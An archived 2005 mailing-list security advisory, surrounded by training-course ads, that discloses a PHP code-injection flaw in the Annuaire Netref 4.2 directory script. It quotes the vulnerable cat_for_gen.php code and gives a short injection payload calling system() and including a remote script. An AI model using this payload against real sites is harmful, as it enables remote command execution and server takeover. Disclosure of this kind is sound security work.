Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Annuaire Netref v4.2 [ fwrite php ] vulnerability |
|---|---|
| Date: | Wed, 20 Apr 2005 00:31:16 +0200 |
Software: annuaire netref version : 4.2 url : http://www.netref.net Risk factor : critical
Vendor has been contacted
Description: -----------
Netref is a PHP/MySQL-based directory script that supports an unlimited number of categories and links. Many fonctions to manage the links : Fast search engine with syntax coloring, Edit icone of category, Alias sites, Check validity of URL, Possibility to comment the sites, Administrator access to edit all datas and validate suggested links by users, batch processing, etc. Also includes Multi-language support (French, English : very easy to add langage with the system of package). Very easy to update from older versions. Very fast rendering.
Vulnerability: -------------
There is a vulnerability in the handling of input by Netref. Because of this, it may be possible for a remote user to gain unauthorized access to the system using the vulnerable software.
The file "script/cat_for_gen.php" does not check the variables $ad, $ad_direct and $m_for_racine.
*************************** CODE ********************************* if ($ad==1){ if (!isset($ad_direct)) $ad_direct=""; // variable appelé que dans certains cas
$fp=fopen($ad_direct."cache/cat_for.php", "w");
$temp="<SELECT NAME='categorie'><OPTION VALUE='0'"; // entete du
formulaire
$temp.=">$m_for_racine</OPTION>";
fwrite ($fp,$temp);
*************************** CODE *********************************
We can see that the $m_for_racine variable is not initialized and will be written in the cache/cat_for.php file. We can inject any php commands !
Exploit: -------
sytem($command);include($remote_script)?>
Solution: --------
Credit: ------
jaguar[at]wulab.com http://jaguar.wulab.com
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Re: Capital One's website inadvertently assists phishing, Allen Parker |
|---|---|
| Next by Date: | [waraxe-2005-SA#042] - Multiple vulnerabilities in Coppermine Photo Gallery 1.3.2, Janek Vind |
| Previous by Thread: | Multiple Security Issues Found In AZBB, GulfTech Security Research |
| Next by Thread: | [waraxe-2005-SA#042] - Multiple vulnerabilities in Coppermine Photo Gallery 1.3.2, Janek Vind |
| Indexes: | [Date] [Thread] [Top] [All Lists] |